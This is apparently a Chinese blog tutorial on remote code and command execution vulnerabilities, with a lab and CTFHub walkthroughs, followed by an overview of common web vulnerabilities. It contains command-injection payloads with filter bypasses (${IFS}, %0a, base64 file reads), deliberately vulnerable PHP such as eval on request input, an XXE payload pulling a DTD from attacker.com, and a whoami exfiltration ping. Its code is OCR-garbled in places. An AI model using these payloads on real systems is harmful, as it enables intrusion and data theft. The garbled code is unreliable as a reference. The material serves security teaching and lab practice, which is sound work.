web十大漏洞之RCE漏洞

远程代码执行

远程代码执行:Remote Code Execute
远程命令执行:Remote Command Execute

远程系统命令执行

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-


远程代码执行


同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

简单来说没有对用户输入内容做限制,比如下面,本来是开发者想让用户输入ip,但是加入一些其他内容,会造成信息泄露。

漏洞危害

l 获取服务器权限
l 获取敏感数据文件
l 写入恶意文件getshell
l 植入木马
实际漏洞
l CVE-2021-3177 Python RCE漏洞
l CVE-2021-21972 VMWare RCE漏洞
l CVE-2021-25646 Apache Druid RCE漏洞
Structured Query Language
l CNVD-2020-46552 深信服EDR
l CNVD-2021-30101 网康下一代防火墙
l http://cve.mitre.org/cgi-
bin/cvekey.cgi?keyword=RCE

PHP RCE涉及函数

命令command注入

函数
作用
system ()执行外部程序,并且显示输出
exec()/shell_exec() 通过shell环境执行命令,并且将完整的输出以字符串的方式返回
pcntl_exec() 在当前进程空间执行指定程序
passthru()执行外部程序并且显示原始输出
popen()打开进程文件指针
proc_open()执行一个命令,并且打开用来输入/输出的文件指针

代码code

函数           作用
eval
()把字符串code作为PHP代码执行
assert
()检查一个断言是否为false
preg_replace
()执行一个正则表达式的搜索和替换
create function
()创建一个匿名函数并且返回函数名称
call user func
()   call user func_array()把第一个参数作为回调函数调用
usort()/uasort()使用用户自定义的比较函数对数组中的值进行排序并保持索引关联

Windows命令拼接符号

&&   左边的命令执行成功,右边的才执行     例子:   ping 127.0.0.1 && echo 'hello'
&      简单的拼接       例子: ping 1111& echo'hello'
|     上一条命令的输出,作为下一条命令参数    例子:netstat -ano |findstr 3306
||    左边的命令执行失败,右边的才执行       例子:  ping baidu.com ll pingbaidu.net

Linux命令拼接符号

;            没有任何逻辑关系的连接符
&&       左边的命令执行成功,右边的才执行      例子: cp 1.txt 2.txt && cat 2.txt
|    上一条命令的输出,作为下一条命令参数            例子:netstat -anlgrep 3306
||          左边的命令执行失败,右边的才执行              例子:  cat 3.txt |l cat 2.txt
&        任务后台执行,与nohup命令功能差不多        例子:  java -jar test.jar > log.txt &

接下来我们打开pickup靶场,找到rce,靶场源代码如下

18 header("Content-type:text/html;charset=gb2312");
19
//header("Content-type:text/html;charset=gb1232");
20
$result='';
21
22
如果(isset($_PosT['submit']) && $_PosT['ipaddress']!=null){
23
$ip=$_PoST['ipaddress'];
24
11
$check=explode('.
$ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位e-255
220
if(stristr(php_uname('s'),'windows')){
11
var_dump(php_uname('s'));
$result.=shell_exec('ping‘.$ip);//直接将变量拼接进来,没做处理
杰尔塞 {
1
$result.=shell_exec('ping-c 4 '.$ip);
31
32
33
34
35
36 ?>

原本开发人员想让用户这样用

但是我们也可以这样,windows系统下,使用&连接后面的命令,这样就造成了信息泄露

而pickup下面的是远程命令执行,输入以下命令就会出现

CTF题目

第一道,代码如下,这道题很简单,下面直接有eval函数,直接使用中国蚁剑连接

<?php
if
(isset ($_REQUEST[(cmd']))
eval($_REQUESTT"cmd"]):
else
1
highlight_file(_FILE_):
?>

随后在他的终端下面去找

第二道

K?php
Sres=
FALSE:
t
(isset($_GET['ip']) && $_GET['ip'l) {
$cmd =
"ping -c 4
[$_GET[’ip’]}":
exec($cmd, $res):
?>
K!DOCTYPE html>
Khtml>
Khead>
<title>CTFHub命令注入-无过滤</title>
</head>
Kbody>
KhI>CTFHub命令注入-无过滤</hl>
<form action="#” method="GET">
<label for=”ip“>IP : </label><br>
<input type="text” id=“ip“ name=“ip“>
<input type="submit” value="Ping">
</form>
<hr>
<pre>
K?php
if
($res)
1
print_r(Sres):
2

首先输入一下真正ip,在输入一个命令ls

当前目录下有一个这个文件

我们再去找一下这个文件,输入127.0.0.1;cat 2831297173712.php|base64,得到以下内容,随后进行base64解码

这一关会过滤cat命令,除此之外,也可以用less查看文件,相当于cat

,再加上base64就可以看到了,随后进行base64解密

这一关会进行空格过滤,其实只需要用${ifs}替换空格就可以

输入以下127.0.0.1;cat${IFS}2931392193.php|base64

随后就可以看到,在进行base64解码就可以拿到答案,

直接使用127.0.0.1;ls,发现下面有一个文件夹

使用127.0.0.1;ls flag_is_here,就可以看到答案文件

随后使用,127.0.0.1;cd flag_is_here;cat flag_1546887781464.php|base64,在进行base64进行解码就能得到

下面综合练习

空格———${IFS}

flag———f***

cat --------more

; &| ||------------ %0a 回车符号      %0d 换行

第一步

127.0.0.1;ls    127.0.0.1;cd flag_is_here;ls

第二步

127.0.0.1%0als     

127.0.0.1%0acd${IFS}f***_is_here%0als

第三步

127.0.0.1;cd flag_is_here;cat flag_20021218031292.php

127.0.0.1%0acd${IFS}f***_is_here%0amore${IFS}f***_20021218031292.php

RCE防御

1、尽量不要使用命令执行的函数
2、如果必须使用,需要做白名单处理
3、用正则表达式对用户输入的内容进行处理
4、使用WAF
### CTF Web 安全十大常见漏洞 #### SQL 注入 (SQL Injection) SQL注入攻击通过向应用程序输入恶意的SQL语句来操纵数据库查询逻辑,可能导致数据泄露或篡改。这种攻击通常发生在未正确过滤用户输入的情况下[^1]。 ```sql SELECT * FROM users WHERE username = 'admin' OR '1'='1'; ``` #### 跨站脚本攻击 (Cross-Site Scripting, XSS) XSS允许攻击者将恶意脚本嵌入到网页中,在其他用户的浏览器上执行这些脚本。这可以用来窃取会话cookie或其他敏感信息[^2]。 ```html <script>alert('XSS');</script> ``` #### 文件包含漏洞 (File Inclusion Vulnerability) 此漏洞分为本地文件包含(LFI)和远程文件包含(RFI),它使攻击者能够读取服务器上的任意文件或将外部URL加载为PHP代码的一部分。利用该漏洞可导致信息泄漏甚至获得shell访问权。 ```php <?php include($_GET['page']); ?> ``` #### XML 外部实体扩展 (XML External Entity Expansion, XXE) 当解析不受信任的数据时,如果启用了外部实体处理,则可能会触发XXE漏洞。攻击者可以通过构造特殊的XML文档结构来读取内部网络资源或发起DoS攻击。 ```xml <!DOCTYPE test [ <!ELEMENT test ANY > <!ENTITY % remote SYSTEM "http://attacker.com/malicious.dtd"> ]> <test>&remote;</test> ``` #### 远程命令执行 (Remote Code Execution, RCE) RCE让攻击者能够在目标机器上运行操作系统级别的指令,这是非常危险的一种漏洞形式,因为它能给予攻击者完全控制系统的权力[^3]。 ```bash ping $(whoami).example.org ``` #### 不安全的对象直接引用 (Insecure Direct Object References, IDOR) IDOR指的是程序未能验证当前请求是否具有足够的权限就返回了受保护对象的信息给客户端。这类错误可能暴露私密资料并造成严重的隐私问题。 #### CSRF (跨站点请求伪造 Cross Site Request Forgery) CSRF使得攻击网站可以在未经受害者同意的情况下发送HTTP请求至另一个域下的服务端点,进而冒充合法用户提交表单、修改设置等操作。 #### 上传文件漏洞 (Unsafe File Uploads) 不加限制地接受来自用户的文件上传功能容易被滥用,比如上传带有恶意payload的图片文件或者直接作为web shell使用的.php文件。 #### 缺乏身份认证机制 (Missing Function Level Access Control) 许多开发者只关注页面级的安全措施而忽略了函数层面应有的授权检查,这就给了未经授权的人机会调用某些不应该公开的服务接口。 #### 敏感数据曝光 (Sensitive Data Exposure) 不当存储或传输重要凭证(如密码、信用卡号卡号)以及缺乏加密手段都会增加此类风险的发生几率;另外还需注意API响应中的额外字段也可能携带机密内容。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值